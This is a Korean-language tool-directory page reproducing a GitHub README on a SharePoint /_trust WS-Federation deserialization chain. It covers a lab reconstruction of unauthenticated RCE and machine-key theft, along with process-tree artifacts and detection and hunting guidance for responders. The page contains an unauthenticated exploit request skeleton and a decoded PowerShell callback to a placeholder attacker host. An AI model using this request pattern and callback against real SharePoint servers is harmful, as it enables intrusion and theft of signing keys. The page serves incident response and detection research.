Skip to content
KitploitKITPLOIT
도구익스플로잇블로그
Log in
제출
도구익스플로잇블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

피드문의개인정보© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
sharepoint-2026-poc — PoC, IOCs, 그리고 SharePoint /_trust WS-Federation BinaryFormatter 역직렬화 체인에 대한 탐지 로직입니다. 인증되지 않은 RCE, 프로세스 내 머신 키 탈취, 그리고 각 변종이 남기는 아티팩트를 다루는 랩 재구성입니다. SharePoint 2016, 2019, Subscription Edition. CVE-2026-50522, CVE-2026-45659, CVE-2026-56164, CVE-2026-58644. | Kitploit
도구/GitHubGitHub/wismansec/sharepoint-2026-poc
Vulnerability AnalysisExploitationWeb Application ExploitationDigital ForensicsPapers & ResearchLearning & EducationIncident ResponsePayload Development
GitHub
wismansec/sharepoint-2026-poc

sharepoint-2026-poc

PoC, IOCs, 그리고 SharePoint /_trust WS-Federation BinaryFormatter 역직렬화 체인에 대한 탐지 로직입니다. 인증되지 않은 RCE, 프로세스 내 머신 키 탈취, 그리고 각 변종이 남기는 아티팩트를 다루는 랩 재구성입니다. SharePoint 2016, 2019, Subscription Edition. CVE-2026-50522, CVE-2026-45659, CVE-2026-56164, CVE-2026-58644.

저장소 보기웹사이트
2111개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

SharePoint /_trust WS-Federation 역직렬화: PoC 및 탐지 노트

라이브 문서(GitHub Pages): https://sp-poc.wismansec.com/ (이 문서의 HTML 렌더링).

영향 대상: SharePoint Server 2016, 2019 및 Subscription Edition.

격리된 랩에서 SharePoint Server(Subscription Edition) 침해 사고를 재구성한 것으로, (a) 공격자의 전체 역량을 이해하고, (b) 방어자가 무엇을 사냥해야 하는지(스텔스 지속성 포함) 파악하며, (c) 다른 조사자들을 돕기 위한 PoC를 공유하기 위해 작성되었습니다.

승인된 연구에 한함. 여기의 모든 작업은 테스트를 위해 의도적으로 패치를 적용하지 않은 빌드를 대상으로, 격리된 개인 소유 랩 하드웨어와 계정에서 수행되었습니다. 근본적인 문제는 공급업체에 의해 수정되었으므로 최신 업데이트를 적용하십시오. 소유하지 않았거나 명시적 테스트 권한이 없는 시스템에 대해 실행하지 마십시오. 머신 키 값, 내부 호스트명/IP, 콜백 도메인은 본문과 예제 아티팩트에서 삭제(redacted)되었습니다. SIEM 스크린샷은 수정되지 않았으며 랩의 실제 이름을 담고 있습니다. §4의 주석을 참조하십시오.

  • 작성자: WismanSec
  • 수정: 2026년 7월 업데이트(KB5002882)
  • 관련 CVE(이 클러스터, CISA KEV 등재): CVE-2026-50522, CVE-2026-45659, CVE-2026-56164, CVE-2026-58644
  • 취약점 클래스: /_trust SecurityContextToken BinaryFormatter 역직렬화 계열

대응자를 위한 TL;DR

  • 악성 SecurityContextToken을 담은 단일 인증 없는 POST /_trust/default.aspx(WS-Federation 로그인) 요청이 SharePoint 작업자 프로세스(w3wp.exe)에서 BinaryFormatter 역직렬화를 유발하여 웹 앱 풀 ID로 원격 코드 실행(RCE)을 발생시킵니다.
  • 동일한 프리미티브로 팜 머신 키(ValidationKey/DecryptionKey)를 프로세스 내부에서 완전히 덤프할 수 있습니다. 기본 구성 팜에서는 자식 프로세스 없음, AV 경고 없음, 비콘 없음입니다(/_trust에 대한 AMSI 요청 본문 스캔을 활성화하면 탐지 및 차단됩니다. §5 참조). 이러한 키를 통해 공격자는 패치 후에도 유효한 __VIEWSTATE/인증 토큰을 위조할 수 있습니다.
  • **패치만으로는 부족합니다. 공격을 받았다고 판단되는 모든 팜에서 머신 키를 교체(rotate)**하고, 모든 변종에 존재하는 유일한 아티팩트인 /_trust 요청 시그니처를 사냥하십시오.

1. 취약점

SharePoint는 /_trust/default.aspx에 WS-Federation 수동 로그인 엔드포인트를 노출합니다. 조작된 로그인 응답(wa=wsignin1.0 + wresult=<RequestSecurityTokenResponse>)에는 <Cookie> 요소가 base64, DEFLATE 압축된 BinaryFormatter 스트림인 SecurityContextToken이 포함됩니다. 서버 측에서 이 쿠키는 압축 해제된 후 타입 제한 없이 역직렬화되므로, 가젯 체인(ysoserial.net 경유)이 w3wp.exe 내부에서 공격자가 제어하는 코드를 실행합니다.

요청 골격(인증 없음):

POST /_trust/default.aspx HTTP/1.1
Content-Type: application/x-www-form-urlencoded

wa=wsignin1.0&wctx=<url>&wresult=<RequestSecurityTokenResponse>...
  <SecurityContextToken><Cookie>BASE64(DEFLATE(BinaryFormatter payload))</Cookie>...

2. 하나의 프리미티브에서 파생되는 두 체인

체인가젯효과출력 채널
OOB RCETypeConfuseDelegate → -EncodedCommand PowerShell풀 ID로 코드 실행대역 외(HTTP/DNS 비콘)
머신 키 유출ActivitySurrogateDisableTypeCheck → ActivitySurrogateSelectorFromFile(KeyDump.cs를 프로세스 내에서 컴파일)ValidationKey/DecryptionKey 덤프HTTP 응답에 인라인으로 포함

scripts/의 스크립트(삭제 처리됨): 파라미터화된 OOB RCE와 2단계 키 덤프. 페이로드 전달에는 PowerShell -EncodedCommand를 사용하므로 다중 명령문 페이로드가 cmd.exe/전송 계층을 통과하는 동안 그대로 유지됩니다(;/&& 따옴표 깨짐 없음).

3. 랩

단일 SharePoint SE 팜(수정 전 빌드 고정), 앱 풀 ID LAB\sp_pool, PowerShell 5.1, 클라우드 보호가 켜진 Microsoft Defender. 텔레메트리(Windows 이벤트 로그, SharePoint 로그, Defender for Endpoint)는 경량 오픈소스 SIEM인 nano로 전송되었습니다. 공격자 호스트는 ysoserial.net을 실행했고, interactsh 클라이언트가 OOB 리스너 역할을 했습니다. 주소와 도메인은 본문에서 삭제되었습니다. §4의 스크린샷 주석을 참조하십시오.

4. 결과: 호출 → 아티팩트 매트릭스

각 행은 실제 폭파(detonation) 1건이며, 아티팩트는 실행별로 SIEM + OOB 리스너에서 수집되었습니다.

스크린샷은 수정되지 않았습니다. 스크린샷에는 랩의 실제 호스트 및 NetBIOS 이름이 담겨 있으며, 이 이름들은 본문 전체에서 사용된 삭제 처리된 SHAREPOINT01/LAB과 달리 다듬어지지 않은(raw) 것입니다. 동일한 실행, 동일한 이벤트이며 조작된 것은 없습니다. 업무에 안전한 버전은 artifacts/에 있습니다.

호출 방식프로세스 트리(LAB\sp_pool, High 권한)DefenderOOB 비콘주요 아티팩트
OOB RCE, 기본(default)w3wp.exe → cmd.exe → powershell.exe → conhost.exeBehavior:Win32/WebshellLauncher.A(EID 1116 탐지 / 1117 제거)도달(race)4688 트리, Defender 1116/1117, /_trust POST
OOB RCE, -RawCmdw3wp.exe → powershell.exe → conhost.exe(cmd 없음)없음도달(DNS+HTTP)4688 트리, /_trust POST, 비콘
OOB RCE, -DropFilew3wp.exe → powershell.exe없음도달…\TEMPLATE\LAYOUTS\에 파일 쓰기(개체 액세스 감사 로그에는 없음)
OOB RCE, -Diagw3wp.exe → powershell.exe → whoami.exe없음도달환경 정보 유출: {host, whoami, PSver, LanguageMode}
머신 키 덤프(없음, 프로세스 내부)없음(없음)/_trust POST + 키를 담은 비정상 응답뿐

이 결과는 기본 AMSI 구성(Balanced 모드, /_trust 미스캔)을 기준으로 한 것입니다. /_trust에 대한 AMSI 요청 본문 스캔을 활성화하면(Full 모드 또는 대상 지정), 모든 행이 대신 요청 계층에서 차단됩니다. 실행 전에 HTTP 400, Exploit:Script/SpCookieExec.A가 발생합니다(§5 참조).

모든 RCE 폭파를 하나의 쿼리로

w3wp.exe가 생성한 4개 프로세스, 그중 3개는 cmd.exe 경유 없이 powershell.exe

문서화된 4건의 폭파 전체(15:01~15:18 UTC)에서 w3wp.exe의 모든 자식 프로세스가 풀 ID로 실행되었습니다. 4건 중 3건은 powershell.exe가 직접 생성되었습니다. cmd.exe를 경유한 것은 15:03:34 실행뿐이며, 탐지된 것도 이 실행뿐입니다. 이 창을 넘어 더 넓히면 같은 오전의 이전 개발 반복도 결과 집합에 포함되므로, 이 주장은 이 4건에 한정됩니다.

동일한 익스플로잇, 두 가지 프로세스 트리

w3wp.exe에서 cmd.exe를 거쳐 powershell.exe와 conhost.exe로

기본 호출: w3wp.exe → cmd.exe → powershell.exe, conhost.exe가 함께 실행됩니다. Behavior:Win32/WebshellLauncher.A가 주목하는 형태가 바로 이것입니다.

cmd.exe 없이 w3wp.exe에서 powershell.exe를 거쳐 conhost.exe로

-RawCmd 호출로, 동일한 프리미티브와 동일한 페이로드에서 cmd.exe 경유 단계만 제거된 것입니다. 이 실행에 대해 Defender는 아무것도 탐지하지 못했습니다. w3wp → cmd에 기반한 탐지는 이를 완전히 놓칩니다.

탐지된 한 건과 놓친 세 건

모두 Behavior:Win32/WebshellLauncher.A, 심각도 Severe, 조치 Remove인 Defender 이벤트 3건

4건의 폭파가 있었던 동일한 25분 창에서 발생한 모든 Defender 이벤트입니다. 3건 모두 단일 cmd.exe 실행에 속합니다. Severe 등급의 malware_detected 2건과 action Remove의 malware_action_taken 1건입니다. 수정 조치가 비콘보다 빨리 이루어지지는 않았으며, 비콘이 먼저 완료되었습니다.

Security 4688에서 그대로 복구된 핵심 명령줄(인코딩 ≠ 회피):

"C:\Windows\System32\cmd.exe" /c powershell.exe -NoProfile -NonInteractive -EncodedCommand <base64>
   → decodes to: iwr -UseBasicParsing 'http://<attacker-oast>/c'

Security 4688 이벤트, -EncodedCommand가 강조 표시되고 base64 페이로드가 보임

SIEM에 나타난 인코딩된 명령줄입니다. 이는 UTF-16LE의 base64일 뿐이며, base64 -d | iconv -f utf-16le -t utf-8 한 단계로 콜백을 복구할 수 있습니다. 인코딩은 난독화가 아닙니다.

키 덤프는 아무 흔적도 남기지 않음

아래 두 프레임은 팜 머신 키가 탈취된 동일한 90초 창을 다룹니다.

키 덤프 창의 20개 이벤트, 텔레메트리가 정상적으로 흐르는 모습

필터를 적용하지 않으면 이 창에는 20개의 이벤트가 있습니다. 호스트는 살아 있으며 텔레메트리를 전송 중입니다.

동일한 창을 w3wp.exe의 자식 프로세스로 필터링한 결과, 결과 없음

w3wp.exe의 자식 프로세스로 필터링하면 동일한 창이 비어 있습니다. 프로세스도, Defender 이벤트도, 비콘도 없습니다. 키는 HTTP 응답을 통해 유출되었으며, 호스트 측 아티팩트는 이 SIEM이 수집하지 않던 /_trust 요청 자체가 유일했습니다. 패치는 탈취된 키를 무효화하지 않습니다. 키를 교체하십시오.

OOB 리스너에서 포착된 -Diag 정보 유출(URL 디코딩됨):

{ "host": "SHAREPOINT01", "who": "LAB\\sp_pool", "v": "5.1.20348.558", "lm": "FullLanguage" }

5. 탐지 및 헌팅

모든 변종에 존재하는 유일한 시그니처. 먼저 이것부터 사냥하십시오:

  • IIS/SharePoint 로그: 본문에 wa=wsignin1.0이 있고 RequestSecurityTokenResponse + SecurityContextToken/<Cookie>를 포함한 wresult가 있는 POST /_trust/default.aspx. 인증이 없으며, 종종 비정상적인 User-Agent가 동반됩니다. 응답 상태 기준: 이 엔드포인트에 대한 정상적인 WS-Federation 로그인 트래픽은 대부분 HTTP 302입니다. 익스플로잇은 다른 상태(200, 500, 연결 리셋, AMSI 차단 시 400)를 반환합니다. 엔드포인트에 실제 로그인 볼륨이 있는 경우 POST /_trust/default.aspx에 대한 302가 아닌 응답을 비정상으로 취급하십시오. 상태 코드만으로 익스플로잇 성공을 확인할 수는 없습니다. 성공한 실행은 200과 리셋을 모두 반환했습니다.

프로세스 기반(RCE 변종에만 해당):

도구 다운로드